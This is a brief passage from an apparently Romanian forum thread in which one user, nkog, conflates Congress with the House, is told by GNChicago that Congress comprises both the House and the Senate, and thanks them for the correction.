Doar in Congress. Mai ramine de vazut ce face Senatulsmileys/smiley1.gif

GNChicago
05.01.2006, 11:30
Congresul= House + Senat

nkog
05.01.2006, 13:34
My badsmileys/smiley18.gif. Ai dreptate. Thanks !smileys/smiley1.gif